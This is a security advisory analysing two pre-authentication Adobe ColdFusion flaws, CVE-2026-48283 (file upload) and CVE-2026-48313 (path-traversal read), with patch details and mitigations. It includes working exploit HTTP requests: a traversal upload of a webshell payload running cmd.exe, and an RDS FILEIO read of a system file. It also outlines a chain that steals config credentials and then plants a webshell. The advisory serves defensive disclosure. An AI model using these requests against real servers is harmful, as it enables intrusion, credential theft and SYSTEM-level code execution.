Analyzing Two Pre-Authentication Critical Vulnerabilities in Adobe ColdFusion: File Upload and Path Traversal

Adobe released security advisory APSB26‑68 on June 30, 2026, disclosing eleven vulnerabilities in ColdFusion 2025 and 2023, including two pre‑authentication flaws—CVE‑2026‑48283 (arbitrary file upload, CVSS 10.0) and CVE‑2026‑48313 (path‑traversal file read, CVSS 9.3). Both stem from insufficient validation in the RDS (Remote Development Services) module and the CKEditor file manager.

1. Vulnerability Overview

1.1 Event Background

ColdFusion is a Java‑based rapid web‑application platform that translates CFML into executable logic. The disclosed vulnerabilities allow attackers to craft HTTP requests without any credentials to achieve remote code execution or sensitive file theft.

1.2 Affected Versions

ColdFusion 2025 (Update 9 and earlier)

ColdFusion 2023 (Update 20 and earlier)

Fixed versions are ColdFusion 2025 Update 10 and ColdFusion 2023 Update 21.

2. Technical Analysis

2.1 CVE‑2026‑48283: Pre‑Authentication Arbitrary File Upload (CVSS 10.0)

The vulnerable upload endpoint is

/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm

. In unpatched versions the path parameter is barely filtered; injecting a ../ payload lets an attacker write any file type (e.g., .jsp, .cfm, .war) to an arbitrary location.

Patch changes:

Added a deny list for extensions such as jspf, cfmail, war, preventing their upload.

Introduced a <cfscript> block that normalizes and validates the upload path, blocking ../ sequences.

By default CKEditor disables uploads ( variables.settings.AllowUploads = "false"), but if enabled the endpoint is exposed to the internet. Successful traversal writes files with the Windows NT AUTHORITY\SYSTEM account, granting the attacker system‑level privileges.

Exploit example (path‑traversal upload):

POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1
Host: target-site:8500
Content-Type: multipart/form-data; boundary=----xxx
Content-Length: 368

------xxx
Content-Disposition: form-data; name="path"

home/../../../../../../../../../../../ColdFusion2025/cfusion/wwwroot/
------xxx
Content-Disposition: form-data; name="file"; filename="shell.war"
Content-Type: text/plain

<cfexecute name="cmd.exe" arguments="/c whoami" timeout="10">
------xxx--

The uploaded .war file can be deployed via a REST endpoint, granting remote code execution.

2.2 CVE‑2026‑48313: Pre‑Authentication Path Traversal Arbitrary File Read (CVSS 9.3)

This flaw resides in the RDS FILEIO endpoint ( /CFIDE/main/ide.cfm?ACTION=FILEIO). The RDS protocol forwards the ACTION parameter to RdsFrontEndServlet, which dispatches to FileServlet. The unpatched FileReadOperator calls getFile(filename) without path validation, allowing absolute paths or ../ traversal to read any file.

Exploit example (arbitrary file read):

POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
Host: target-site:8500
Content-Type: application/octet-stream
Content-Length: 37

2:000018:C:\Windows\win.ini00004:READ

The response returns the file contents. The same vulnerability also affects WRITE, RENAME, and REMOVE operations.

Patch changes replace getFile(filename) with getCanonicalFile(filename) and add validation via RdsFileSecurity.resolveCanonical(), rejecting absolute paths and ../ sequences.

3. Vulnerability Correlation and Attack Chain

3.1 CVE‑2026‑48282: Related Exploited Vulnerability

Another APSB26‑68 vulnerability, CVE‑2026‑48282 (path traversal leading to arbitrary file write, CVSS 10.0), was observed being exploited in the wild within hours of disclosure, using the same RDS FILEIO payload.

3.2 Combined Attack Chain

Use CVE‑2026‑48313 to read configuration files (e.g., cfusion/lib/password.properties, cfusion/config/neo-security.xml) and obtain database credentials or encryption keys.

Use CVE‑2026‑48283 to upload a malicious .war or .cfm webshell to the web root.

Execute commands with NT AUTHORITY\SYSTEM privileges to establish persistence, exfiltrate data, or move laterally.

4. Domestic Impact Assessment

ColdFusion remains widely deployed in Chinese government, financial, and large‑enterprise environments. Shadowserver reports 750‑800 publicly exposed ColdFusion instances worldwide; the actual number in China is likely higher.

5. Mitigation Recommendations

5.1 Immediate Patch

ColdFusion 2025 → Update 10

ColdFusion 2023 → Update 21

Download from Adobe’s security page:

https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html

5.2 Temporary Mitigations

Network isolation: block external access to /CFIDE/administrator/, /CFIDE/main/ide.cfm, and /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/ via WAF or firewall rules.

Disable RDS services in the ColdFusion console if not required.

Verify that CKEditor’s AllowUploads setting remains false; keep the upload feature disabled unless needed.

Search the web root for suspicious files with extensions .cfm, .cfc, .jsp, .war created after June 30, 2026.

5.3 Credential Rotation

Because CVE‑2026‑48313 can expose configuration files, rotate all related credentials immediately, including ColdFusion administrator passwords, database connection credentials, and any stored API keys or encryption secrets.

6. Conclusion

The disclosure of CVE‑2026‑48283 and CVE‑2026‑48313 highlights lingering security debt in legacy enterprise software. Both flaws are exploitable without authentication, and the earlier exploitation of CVE‑2026‑48282 demonstrates active threat‑actor interest. Prompt patching and the temporary mitigations above are essential for Chinese government and enterprise ColdFusion deployments.